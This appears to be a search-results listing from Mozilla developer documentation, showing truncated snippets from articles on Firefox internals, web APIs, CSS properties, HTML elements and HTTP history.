...ectory, which is done with ./mach configure you only need to run this if the version number of firefox changes. windows: replace make with mozmake in the commands below! creating a langpack we will now merge the localized files from x-testing locale with the en-us files from the original source. every time you want to create a langpack, you need to be in the directory obj-firefox-build/browser/locales. it is likely that you will continue to generate language packs as your progress just to test your work. while in that directory, issue the following command: $ make merge-x-testing locale_mergedir=$(pwd)/mergedir x-testing: browser chrome browser aboutcerterror.dtd // add and localize this file ... // lots of notifications about missi...
...ergedir. you'll see that it contains the files which in your localization were missing some entities. all other files will be taken from x-testing directly. it's now time to create a langpack with: $ make langpack-x-testing locale_mergedir=$(pwd)/mergedir each time you need to generate a new langpack, you need to run this command. remember that you need to be in the directory obj-firefox-build/browser/locales. $ make langpack-x-testing locale_mergedir=$(pwd)/mergedir now go to the dist directory to find your langpack ready to use! $ cd ../../dist the xpi file can be found in the directory win32/xpi on windows, linux-i686/xpi or linux-x86_64 on linux or mac/xpi on mac. open the xpi file contained in this directory with firefox to see your work. you have to set your selected language sti...
...And 6 more matches
HTTP Cache
e about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open. mandatory argument to *storage methods of nsicachestorageservice. ...
... to open. mandatory argument to *storage methods of nsicachestorageservice. //github.com/realityripple/uxp/blob/master/netwerk/base/public/nsiloadcontextinfo.idl it is a helper interface wrapping following four arguments into a single one: private-browsing boolean flag anonymous load boolean flag app id number (0 for no app) is-in-browser boolean flag helper functions to create nsiloadcontextinfo objects: c++ consumers: functions at loadcontextinfo.h exported header js consumers: resource://gre/modules/loadcontextinfo.jsm module methods two storage objects created with the same set of nsiloadcontextinfo arguments are identical, containing the same cache entries. two s...
...ored in it). the anew argument in oncacheentryavailable is true for and only for new entries. only one consumer (the so called "writer") may have such an entry available (obtained via oncacheentryavailable). other parallel openers of the same cache entry are blocked (wait) for invocation of their oncacheentryavailable until one of the following occurs: the writer simply throws the entry away: other waiting opener in line gets the entry again as "new", the cycle repeats. this applies in general, writers throwing away the cache entry means a failure to write the cache entry and a new writer is being looked for again, the cache entry remains empty (a.k.a. "new"). the writer stored all necessary meta data in the cache entry and called metadataready on...
...And 6 more matches
CustomizableUI.jsm
hese widgets are shown. note that it is expressly not really aware about the specific ui used by users to make customizations. this is handled by customizemode.jsm, which interacts with customizableui through a listener mechanism. areas areas are parts of the user interface in which customizable widgets can be placed. customizableui assumes that each area it is told about is present in every browser window. customizableui is aware of two types of areas: toolbars and the menu panel. areas are registered using the registerarea method and unregistered using the unregisterarea method. when a customizable toolbar's xbl binding is constructed (generally, that is when a <toolbar customizable="true"/> node is appended to the document and isn't invisible), the binding will call into customizableui...
...end(awindow) fired when exiting customize mode in awindow. onwidgetoverflow(anode, acontainer) fired when a widget's dom node is overflowing its container, a toolbar, and will be displayed in the overflow panel. onwidgetunderflow(anode, acontainer) fired when a widget's dom node is not overflowing its container, a toolbar, anymore. onwindowopened(awindow) fired when a new customizable (ie browser) window is opened. onwindowclosed(awindow) fired when a customizable (ie browser) window is closed. method overview void addlistener(alistener); void removelistener(alistener); void registerarea(aareaid, aproperties); void registertoolbarnode(atoolbar, aexistingchildren); void registermenupanel(apanel); void unregisterarea(aareaid, ades...
... defaultcollapsed (internal only) only applied to type_toolbar areas. set to true if the toolbar should be collapsed by default. defaults to true. set to null to ensure that reset/indefaultstate don't care about the toolbar's collapsed state. registertoolbarnode() register a concrete node for a registered area. this method is automatically called from any toolbar in the main browser window that has its customizable attribute set to true. there should normally be no need to call it yourself. note that ideally, you should register your toolbar using registerarea before any of the toolbars have their xbl bindings constructed (which will happen when they're added to the dom and are not hidden). if you don't, and your toolbar has a defaultset attribute, customizableui will reg...
...And 6 more matches
Index
r set of rules for issuing certificates for web site certificates. instead of simply verifying that the requester of a certificate is in control of an administrative email address at the desired web site's domain, it's required that the ca performs a verification of real world identity documents (such as a company registration document with the country's authority), and it's also required that a browser software performs a revocation check with the ca, prior to granting validity to the certificate. in order to distinguish an ev certificate, cas will embed a policy oid in the certificate, and the browser is expected to verify that a trust chain permits the end entity (ee) certificate to make use of the policy. only the apis of the newer libpkix engine are capable of performing a policy verifica...
...at's a good opportunity to talk about ssl/tls connections to servers in general (not just ev, not just websites). whenever this document mentions ssl, it refers to either ssl or tls. (tls is a newer version of ssl with enhanced features.) when establishing an ssl connection to a server, (at least) a server certificate (and its trust chain) is exchanged from the server to the client (e.g., the browser), and the client verifies that the certificate can be verified (including matching the name of the expected destination server). another part of the handshake between both parties is a key exchange. because public key encryption is more expensive (more calculations required) than symmetric encryption (where both parties use the same key), a key agreement protocol will be executed, where the pub...
...me to a certificate when importing it, making it easier for you to refer to it later. it should be noted that the first database format that can be accessed simultaneously by multiple applications is key4.db/cert9.db – database files with lower numbers will most likely experience unrecoverable corruption if you access them with multiple applications at the same time. in other words, if your browser or your server operates on an older nss database format, don't use the nss tools to operate on it while the other software is executing. at the time of writing nss and the mozilla applications still use the older database file format by default, where each application has its own nss database. if you require a copy of a certificate stored in an nss database, including its private key, you ca...
...And 6 more matches
Embedded Dialog API
posing gecko dialogs in embedding applications problem statement an application embedding gecko cannot tightly control its own windows and still allow gecko to be a fully functional web browser. in any single window, gecko can be expected to play nicely within its given boundaries. but it must be allowed to create additional windows at times perhaps unexpected by the containing appliction. these new windows can be entire new browser windows opened in response to web page script, or dialogs or alerts which may arise from script or merely during normal operation of the browser. part of gecko's embedding api is callbacks into the embedding application for creating new windows. the complete windowing portion of the api is large and complex, but it need not be entirely implemented. its si...
...gecko can use the latter to pose dialogs built from xul. xul dialogs are part of the gecko package; they are the default dialog posing mechanism. many embedding applications will find them entirely sufficient. ...
...ons which implement merely the simplest, base gecko windowing api will then have a mixture of xul and native windows. applications concerned with presenting a consistent dialog appearance have the option of implementing the complete dialog posing api. responsibilities of the embedding application basic windowing api to be able to respond to script requests to open new windows, an embedded gecko browser must have a way of opening new windows. this is accomplished using a callback into the embedding application. this basic api will by itself provide the minimal functionality gecko needs to create new windows, and an embedding application must implement at least this much. applications concerned with a consistent overall dialog appearance will probably choose to implement the complete api as wel...
...And 6 more matches
WebIDL bindings
g context() on it. the name of the c++ method is simply the name of the webidl operation with the first letter converted to uppercase. webidl overloads are turned into c++ overloads: they simply call c++ methods with the same name and different signatures. ...
...the webidl operation with the first letter converted to uppercase. webidl overloads are turned into c++ overloads: they simply call c++ methods with the same name and different signatures. ...
...owning unions, and variadic arguments become nsstring. nullable strings are represented by the same types as non-nullable ones, but the string will return true for domstringisnull(). returning null as a string value can be done using setdomstringtonull on the out param if it's an nsastring or calling setnull() on a domstring. ...
...And 6 more matches
Working with data
of the new type is undefined or larger than the size of the original object's data block, typeerror is thrown. this works very much like a standard c type cast or c++ reinterpret_cast. example: cast an array this example shows how to cast an array of a certain type to another type. ...
...([ctypes.int64("1"), ctypes.int64("2"), ctypes.int64("3"), ctypes.int64("4")])"` my.addressofelement(1).contents; // this outputs `int64 { }` my.addressofelement(1).contents.tostring(); // outputs: `"2"` // now this is how to get the array of long's cast to array of int's var mycasted = ctypes.cast(my.address(), ctypes.int.array(my.length).ptr).contents; mycasted.tostring(); // this outputs to browser console: `"ctypes.int.array(4)([1, 2, 3, 4])"` mycasted.addressofelement(1).contents; // this outputs `2` mycasted.addressofelement(1).contents.tostring(); // outputs: `"2"` source of this, and to see wrong ways of casting, and explanation on why this is the right way to cast an array (explained by matching constructor's) see here: githubgist :: _ff-addon-tutorial-jsctypes_castingarrays dat...
...r to an 8-bit or 16-bit array of characters). you'll have to convert those yourself, as covered above. making non-null terminated strings if for some reason non-null terminated strings are needed, this can also be accomplished. as review, making a null-terminated string happens like this: var cstr_nullterminated = ctypes.jschar.array()('rawr'); console.log(cstr_nullterminated); // outputs to browserconsole: `cdata { length: 5 }` console.log(cstr_nullterminated.tostring()); // outputs to browser console: `"ctypes.char16_t.array(5)(["r", "a", "w", "r", "\x00"])"` the console.log shows that the length is greater then the length of "rawr" which is 4, doing a .tostring on it shows there is a null terminator of \x00 on the end. to make a non-null terminated string this is how it is done: var...
...And 6 more matches
URLs - Plugins
s chapter describes retrieving urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail. uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the table below summarizes urls supported by gecko. in addition, gecko may support urls not listed on this table. url scheme description about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather than an internet resource. ...
...items on a gopher server. obsolete since gecko 2.0 http (hypertext transfer protocol) locates resources on the internet. javascript executes javascript code that follows the url. netscape-specific. mailto (electronic mail address) locates the internet mailing address of an individual or service. nethelp displays a nethelp topic in a nethelp window. browser-specific. news (usenet news) locates usenet news groups or individual usenet articles. nntp (usenet news using nntp access) locates usenet news groups or individual usenet articles; alternate to news. prospero (prospero directory service) locates a resource on a prospero directory server. telnet (reference to interactive sessions) locates an inter...
...ce identifier (uri): generic syntax", and the iana uri scheme registry. getting urls posting urls getting urls to retrieve a url and display it on a specified target page, use the npn_geturl, npn_geturlnotify, and npp_urlnotify functions. this section describes the methods and procedures used for getting the url and displaying the page. ...
...And 6 more matches
DevTools API - Firefox Developer Tools
is currently a work-in-progress, there are usable portions of page inspector and debugger that may be used currently. introduction the devtools api provides a way to register and access developer tools in firefox. in terms of user interface, each registered tool lives in its own tab (we call one tab a panel). these tabs are located in a box we call a toolbox. a toolbox can be hosted within a browser tab (at the bottom or on the side), or in its own window (we say that the toolbox is undocked). a toolbox (and all the tools it contains) is linked to a target, which is the object the tools are debugging. a target is usually a web page (a tab), but can be other things (a chrome window, a remote tab,…). in terms of code, each tool has to provide a tooldefinition object. a definition is a js ...
...et. the target this toolbox is debugging. hosttype toolbox.hosttype. the type of the host this toolbox is docked to. the value is one of the toolbox.hosttype constants. zoomvalue the current zoom level of the toolbox. constants the toolbox constructor contains following constant properties. toolbox.hosttype.bottom host type for the default toolbox host at the bottom of the browser window. toolbox.hosttype.side host type for the host at the side of the browser window. toolbox.hosttype.window host type for the separate toolbox window. toolbox.hosttype.custom host type for a custom frame host. methods getcurrentpanel() get the currently active toolpanel. return value: the toolpanel object that was returned from toolpanel.build(). getpanel(...
...board shortcut for the tool is activated while the tool is the active tool. parameters: panel {toolpanel} - the toolpanel for the tool. toolbox {toolbox} - the toolbox for the shortcut was triggered for. return value: undefined. properties the tooldefinition object can contain following properties. most of them are optional and can be used to customize the presense of the tool in the browser and the toolbox. id string, required. an unique identifier for the tool. it must be a valid id for an html element. url string, required. an url of the panel document. label string, optional. the tool's name. if undefined the icon should be specified. tooltip string, optional. the tooltip for the tool's tab. panellabel string, optional. an accessibility label for...
...And 6 more matches
Console messages - Firefox Developer Tools
the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again. open url in new tab opens the url in a new browser tab. if the resource is an image, the image will be opened in a new tab. if the resource is a stylesheet, you will see the css rules, etc. js javascript errors contain a "learn more" link that takes you to the javascript error reference containing additional advice for fixing issues: source maps the web console understands source maps. this means that if your javascript sources are co...
...rformance reasons (see bug 1452143). use the filtering feature to show them. some css messages contain a disclosure triangle at the left of the message. click it to view more information about the error, as well as which dom nodes are affected by the error. reflow events the web console also logs reflow events under the css category. a reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. reflows occur when a change has happened to a page that the browser thinks affects the layout. many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the dom in javascript. because reflows can be computationally expensive and directly affect the user interface, they can hav...
...ecting "reflows". each message is labeled "reflow" and shows the time taken to execute the reflow. if the reflow is a synchronous reflow triggered from javascript, it also shows a link to the line of code that triggered the reflow. click the link to open the file in the debugger. synchronous and asynchronous reflows if a change is made that invalidates the current layout — for example, the browser window is resized or some javascript modifies an element's css — the layout is not recalculated immediately. instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). in this way the browser can save up a collection of invalidating changes and recalculate their effect at once. however, if some javascript...
...And 6 more matches
Navigator - Web APIs
Web › API › Navigator
he read-only window.navigator property. properties doesn't inherit any properties, but implements those defined in navigatorid, navigatorlanguage, navigatoronline, navigatorcontentutils, navigatorstorage, navigatorstorageutils, navigatorconcurrenthardware, navigatorplugins, and navigatorusermedia. standard navigatorid.appcodename read only returns the internal "code" name of the current browser. do not rely on this property to return the correct value. navigatorid.appname read only returns a domstring with the official name of the browser. do not rely on this property to return the correct value. navigatorid.appversion read only returns the version of the browser as a domstring. do not rely on this property to return the correct value. navigator.battery read only returns a ...
...nly returns false if setting a cookie will be ignored and true otherwise. navigator.geolocation read only returns a geolocation object allowing accessing the location of the device. navigatorconcurrenthardware.hardwareconcurrency read only returns the number of logical processor cores available. navigatorplugins.javaenabled read only returns a boolean flag indicating whether the host browser is java-enabled or not. navigator.keyboard read only returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard. navigatorlanguage.language read only returns a domstring representing the preferred language of the user, usually the language of the browser ui. the null value is returned whe...
... returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities. navigator.maxtouchpoints read only returns the maximum number of simultaneous touch contact points are supported by the current device. navigatorplugins.mimetypes read only returns an mimetypearray listing the mime types supported by the browser. navigator.online read only returns a boolean indicating whether the browser is working online. navigator.permissions read only returns a permissions object that can be used to query and update permission status of apis covered by the permissions api. navigatorid.platform read only returns a string representing the platform of the browser. do not rely on this function to return a sig...
...And 6 more matches
Pointer events - Web APIs
s when the pen is lifted or moved. digitizer a sensing device with a surface that can detect contact. most commonly, the sensing device is a touch-enabled screen that can sense input from an input device such as a pen, stylus, or finger. some sensing devices can detect the close proximity of the input device, and the state is expressed as a hover following the mouse. hit test the process the browser uses to determine a target element for a pointer event. typically, this is determined by considering the pointer's location and also the visual layout of elements in a document on screen media. pointer a hardware-agnostic representation of input devices that can target a specific coordinate (or set of coordinates) on a screen. examples of pointer input devices are mouse, pen/stylus, and touch...
... pointerdown onpointerdown fired when a pointer becomes active buttons state. pointermove onpointermove fired when a pointer changes coordinates. this event is also used if the change in pointer state can not be reported by other events. pointerup onpointerup fired when a pointer is no longer active buttons state. pointercancel onpointercancel a browser fires this event if it concludes the pointer will no longer be able to generate events (for example the related device is deactived). pointerout onpointerout fired for several reasons including: pointer is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (s...
...element 'target' will receive/capture further events el.setpointercapture(ev.pointerid); } function init() { let el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target"> touch me ... </div> </body> </html> the following example shows a pointer capture being released (when a pointercancel event occurs. the browser does this automatically when a pointerup or pointercancel event occurs. <html> <script> function downhandler(ev) { let el = document.getelementbyid("target"); // element "target" will receive/capture further events el.setpointercapture(ev.pointerid); } function cancelhandler(ev) { let el = document.getelementbyid("target"); // release the pointer ca...
...And 6 more matches
Using XMLHttpRequest - Web APIs
-------------314911788813839 content-disposition: form-data; name="baz" the first line. the second line. -----------------------------314911788813839-- however, if you are using the get method, a string like the following will be simply added to the url: ?foo=bar&baz=the%20first%20line.%0athe%20second%20line. a little vanilla framework all these effects are done automatically by the web browser whenever you submit a <form>. if you want to perform the same effects using javascript you have to instruct the interpreter about everything. therefore, how to send forms in pure ajax is too complex to be explained here in detail. for this reason, here we place a complete (yet didactic) framework, able to use all four ways to submit, and to upload files: <!doctype html> <html> <head> <meta ht...
...e="submit" value="submit" /> </p> </fieldset> </form> <h3>enctype: text/plain</h3> <form action="register.php" method="post" enctype="text/plain" onsubmit="ajaxsubmit(this); return false;"> <fieldset> <legend>registration example</legend> <p> your name: <input type="text" name="user" /> </p> <p> your message:<br /> <textarea name="message" cols="40" rows="8"></textarea> </p> <p> <input type="submit" value="submit" /> </p> </fieldset> </form> <h3>enctype: multipart/form-data</h3> <form action="register.php" method="post" enctype="multipart/form-data" onsubmit="ajaxsubmit(this); return false;"> <fieldset> <legend>upload example</legend> <p> first name: <input type="text" name="firstname" /><br /> last...
...le name="photos[]"> </p> <p> <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="bike" /> <label for="vehicle_bike">i have a bike</label><br /> <input id="vehicle_car" type="checkbox" name="vehicle[]" value="car" /> <label for="vehicle_car">i have a car</label> </p> <p> describe yourself:<br /> <textarea name="description" cols="50" rows="8"></textarea> </p> <p> <input type="submit" value="submit" /> </p> </fieldset> </form> </body> </html> to test this, create a page named register.php (which is the action attribute of these sample forms), and put the following minimalistic content: <?php /* register.php */ header("content-type: text/plain"); /* note: you should never use `print_r()` in production scrip...
...And 6 more matches
CSS Containment - CSS: Cascading Style Sheets
the specification defines a single css property contain. this document describes the basic aims of the specification. basic example many webpages contain a number of sections which are independent of each other. for example a listing of article headlines and content, as in the mark-up below. ...
...ice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <p>more content here.</p> </article> each article has the contain property with a value of content applied in the css. ...
...</p> </article> <article> <h2>another heading of another article</h2> <p>more content here.</p> </article> each article has the contain property with a value of content applied in the css. article { contain: content; } each article is independent of the other articles on the page, and so they have been given contain: content in order to indicate to the browser that this is the case. ...
...And 6 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
curity -webkit-text-stroke-color -webkit-text-stroke-width -webkit-text-stroke -webkit-text-zoom -webkit-transform-origin-x -webkit-transform-origin-y -webkit-transform-origin-z u -webkit-user-drag -webkit-user-modify * a few are on the standards, unprefixed track ** new syntax has been standardized. property links to the new synax. old prefixed syntax is still supported in some browsers. webkit-prefixed properties on the standards track -webkit-appearance -webkit-font-size-delta -webkit-mask-composite -webkit-mask-position-x -webkit-mask-position-y -webkit-mask-repeat-x -webkit-mask-repeat-y formerly proprietary properties that are now standard note: to maximize the compatibility of your css, you should use the unprefixed standard properties instead of the pre...
...n-span -webkit-column-width -webkit-columns f -webkit-filter -webkit-flex -webkit-flex-basis -webkit-flex-direction -webkit-flex-flow -webkit-flex-grow -webkit-flex-shrink -webkit-flex-wrap -webkit-font-feature-settings -webkit-font-kerning -webkit-font-variant-ligatures g-j -webkit-grid -webkit-grid-area -webkit-grid-auto-columns -webkit-grid-auto-flow -webkit-grid-auto-rows -webkit-grid-column -webkit-grid-column-end -webkit-grid-column-gap -webkit-grid-column-start -webkit-grid-gap -webkit-grid-row -webkit-grid-row-end -webkit-grid-row-gap -webkit-grid-row-start -webkit-grid-template -webkit-grid-template-areas -webkit-grid-template-columns -webkit-grid-template-rows h-l -webkit-hyphens -webkit-justify-content -webkit-justify-items -webkit-just...
... -webkit-mask-position-x* -webkit-mask-position-y* * supported unprefixed in firefox, with prefix in safari. supported in firefox with -webkit- prefix the following properties are supported with the -webkit- prefix in firefox. many of...
...And 6 more matches
touch-action - CSS: Cascading Style Sheets
the touch-action css property sets how an element's region can be manipulated by a touchscreen user (for example, by zooming features built into the browser). /* keyword values */ touch-action: auto; touch-action: none; touch-action: pan-x; touch-action: pan-left; touch-action: pan-right; touch-action: pan-y; touch-action: pan-up; touch-action: pan-down; touch-action: pinch-zoom; touch-action: manipulation; /* global values */ touch-action: inherit; touch-action: initial; touch-action: unset; by default, panning (scrolling) and pinching gestures are handled exclusively by the browser. ...
...n: pan-right; touch-action: pan-y; touch-action: pan-up; touch-action: pan-down; touch-action: pinch-zoom; touch-action: manipulation; /* global values */ touch-action: inherit; touch-action: initial; touch-action: unset; by default, panning (scrolling) and pinching gestures are handled exclusively by the browser. an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture. ...
... touch-action: manipulation; /* global values */ touch-action: inherit; touch-action: initial; touch-action: unset; by default, panning (scrolling) and pinching gestures are handled exclusively by the browser. an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture. by explicitly specifying which gestures should be handled by the browser, an application can supply its own behavior in pointermove and pointerup listeners for the remaining gestures. ...
...And 6 more matches
<button>: The Button element - HTML: Hypertext Markup Language
Web › HTML › Element › button
switch, tab dom interface htmlbuttonelement attributes this element's attributes include the global attributes. autofocus html5 this boolean attribute specifies that the button should have input focus when the page loads. only one element in a document can have this attribute. autocomplete this attribute on a <button> is nonstandard and firefox-specific. unlike other browsers, firefox persists the dynamic disabled state of a <button> across page loads. setting autocomplete="off" on the button disables this feature; see bug 654072. disabled this boolean attribute prevents the user from interacting with the button: it cannot be pressed or focused. firefox, unlike other browsers, persists the dynamic disabled state of a <button> across page loads. use the autoco...
...errides the novalidate attribute of the button's form owner. this attribute is also available on <input type="image"> and <input type="submit"> elements. formtarget html5 if the button is a submit button, this attribute is a author-defined name or standardized, underscore-prefixed keyword indicating where to display the response from submitting the form. ...
...thor-defined name or standardized, underscore-prefixed keyword indicating where to display the response from submitting the form. this is the name of, or keyword for, a browsing context (a tab, window, or <iframe>). if this attribute is specified, it overrides the target attribute of the button's form owner. the following keywords have special meanings: _self: load the response into the same browsing context as the current one. this is the default if the attribute is not specified. _blank: load the response into a new unnamed browsing context — usually a new tab or window, depending on the user’s browser settings. _parent: load the response into the parent browsing context of the current one. if there is no parent, this option behaves the same way as _self. _top: load the respons...
...And 6 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
Web › HTML › Element › iframe
the html inline frame element (<iframe>) represents a nested browsing context, embedding another html page into the current one. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. each embedded browsing context has its own session history and document. the browsing context that embeds the others is called the parent browsing context. the topmost browsing context — the one with no parent — is usually the browser window, represented by the window object. because each browsing context is a complete document environment, every <iframe> in a page requires increased memory and other computing resources. while theoreti...
...this attribute is considered a legacy attribute and redefined as allow="payment". csp a content security policy enforced for the embedded resource. see htmliframeelement.csp for details. height the height of the frame in css pixels. default is 150. importance the download priority of the resource in the <iframe>'s src attribute. allowed values: auto (default) no preference. ...
...nload priority of the resource in the <iframe>'s src attribute. allowed values: auto (default) no preference. the browser uses its own heuristics to decide the priority of the resource. high the resource should be downloaded before other lower-priority page resources. low the resource should be downloaded after other higher-priority page resources. loading indicates how the browser should load the iframe: eager: load the iframe immediately, regardless if it is outside the visible viewport (this is the default value). lazy: defer loading of the iframe until it reaches a calculated distance from the viewport, as defined by the browser. name a targetable name for the embedded browsing context. this can be used in the target attribute of the <a>, <form>, or <base>...
...And 6 more matches
<input type="image"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › image
image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing context from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a use...
...e form should not be validated before submission to the server. this overrides the value of the novalidate attribute on the element's owning form. this attribute is also available on <input type="submit"> and <button> elements. formtarget a string which specifies a name or keyword that indicates where to display the response received after submitting the form. the string must be the name of a browsing context (that is, a tab, window, or <iframe>. a value specified here overrides any target given by the target attribute on the <form> that owns this input. in addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form. this will replace the cur...
...t owns this input. in addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form. this will replace the current document with the received data. this is the default value used if none is specified. _blank loads the response into a new, unnamed, browsing context. this is typically a new tab in the same window as the current document, but may differ depending on the configuration of the user agent. ...
...And 6 more matches
<input type="search"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › search
ag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see the section specifying a pattern for details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. it should be a word or short phrase that ...
...e enter or return key while editing the field. this information is used to decide what kind of label to use on the enter key on the virtual keyboard. note: this has been standardized as the global attribute enterkeyhint, but is not yet widely implemented. to see the status of the change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and send. the browser decides, using this hint, what label to put on the enter key. results the results attribute—supported only by safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of previous search queries. the value must be a non-negative decimal number. if not provided, or an invalid value is given, ...
...cides, using this hint, what label to put on the enter key. results the results attribute—supported only by safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of previous search queries. the value must be a non-negative decimal number. if not provided, or an invalid value is given, the browser's default maximum number of entries is used. using search inputs <input> elements of type search are very similar to those of type text, except that they are specifically intended for handling search terms. they are basically equivalent in behavior, but user agents may choose to style them differently by default (and, of course, sites may use stylesheets to apply custom styles to them). bas...
...And 6 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
Web › HTML › Element › source
the html <source> element specifies multiple media resources for the <picture>, the <audio> element, or the <video> element. it is an empty element, meaning that it has no content and does not have a closing tag. it is commonly used to offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content none, it is an empty element. tag omission it must have a start...
... attributes this element includes the global attributes. media media query of the resource's intended media; this should be used only in a <picture> element. sizes is a list of source sizes that describes the final rendered width of the image represented by the source. each source size consists of a comma-separated list of media condition-length pairs. this information is used by the browser to determine, before laying the page out, which image defined in srcset to use. please note that sizes will have its effect only if width dimension descriptors are provided with srcset instead of pixel ratio values (200w instead of 2x for example). the sizes attribute has an effect only when the <source> element is the direct child of a <picture> element. src required for <audio> and <vid...
...te has an effect only when the <source> element is the direct child of a <picture> element. src required for <audio> and <video>, address of the media resource. the value of this attribute is ignored when the <source> element is placed inside a <picture> element. srcset a list of one or more strings separated by commas indicating a set of possible images represented by the source for the browser to use. each string is composed of: one url specifying an image. a width descriptor, which consists of a string containing a positive integer directly followed by "w", such as 300w. the default value, if missing, is the infinity. a pixel density descriptor, that is a positive floating number directly followed by "x". the default value, if missing, is 1x. each string in the list mus...
...And 6 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
this ensures they are available earlier and are less likely to block the page's render, improving performance. this article provides a basic guide to how <link rel="preload"> works. ...
...yle.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we preload our css and javascript files so they will be available as soon as they are required for the rendering of the page later on. this example is trivial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of html as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. for example: resources that are pointed to from inside css, like fonts or images. resources that javascript can request, like json, imported scripts, or web workers. larger ...
...its can be seen much more clearly the later resources are discovered and the larger they are. for example: resources that are pointed to from inside css, like fonts or images. resources that javascript can request, like json, imported scripts, or web workers. larger images and video files. preload has other advantages too. using as to specify the type of content to be preloaded allows the browser to: prioritize resource loading more accurately. store in the cache for future requests, reusing the resource if appropriate. apply the correct content security policy to the resource. set the correct accept request headers for it. what types of content can be preloaded? many different content types can be preloaded. the possible as attribute values are: audio: audio file, as typica...
...And 6 more matches
Evolution of HTTP - HTTP
renamed to world wide web during its implementation in 1990. built over the existing tcp and ip protocols, it consisted of 4 building blocks: a textual format to represent hypertext documents, the hypertext markup language (html). a simple protocol to exchange these documents, the hyperttext transfer protocol (http). a client to display (and accidentally edit) these documents, the first web browser called worldwideweb. a server to give access to the document, an early version of httpd. these four building blocks were completed by the end of 1990, and the first servers were already running outside of cern by early 1991. on august 6th 1991, tim berners-lee's post on the public alt.hypertext newsgroup is now considered as the official start of the world wide web as a public project. the ...
... page </html> unlike subsequent evolutions, there were no http headers, meaning that only html files could be transmitted, but no other type of documents. there were no status or error codes: in case of a problem, a specific html file was send back with the description of the problem contained in it, for human consumption. ...
...send back with the description of the problem contained in it, for human consumption. http/1.0 – building extensibility http/0.9 was very limited and both browsers and servers quickly extended it to be more versatile: versioning information is now sent within each request (http/1.0 is appended to the get line) a status code line is also sent at the beginning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way) the notion of http headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible. with the help of the new http headers, the abilit...
...And 6 more matches
Animation performance and frame rate - Web Performance
animation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types. the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate. for animated media, such as video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue. code based animations, be it css, svg, <canvas>, webgl or other javascript animations, can cause performance issues even if the bandwidth footprint is small. these animations can consume cpu and/or cause jank. while performance is sensit...
...gh to not negatively impact performance is the greatest issue. code based animations, be it css, svg, <canvas>, webgl or other javascript animations, can cause performance issues even if the bandwidth footprint is small. these animations can consume cpu and/or cause jank. while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur. users expect all interface interactions to be smooth and all user interfaces to be responsive. animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly. responsive user interfaces have a frame rate of 60 frames per second (fp...
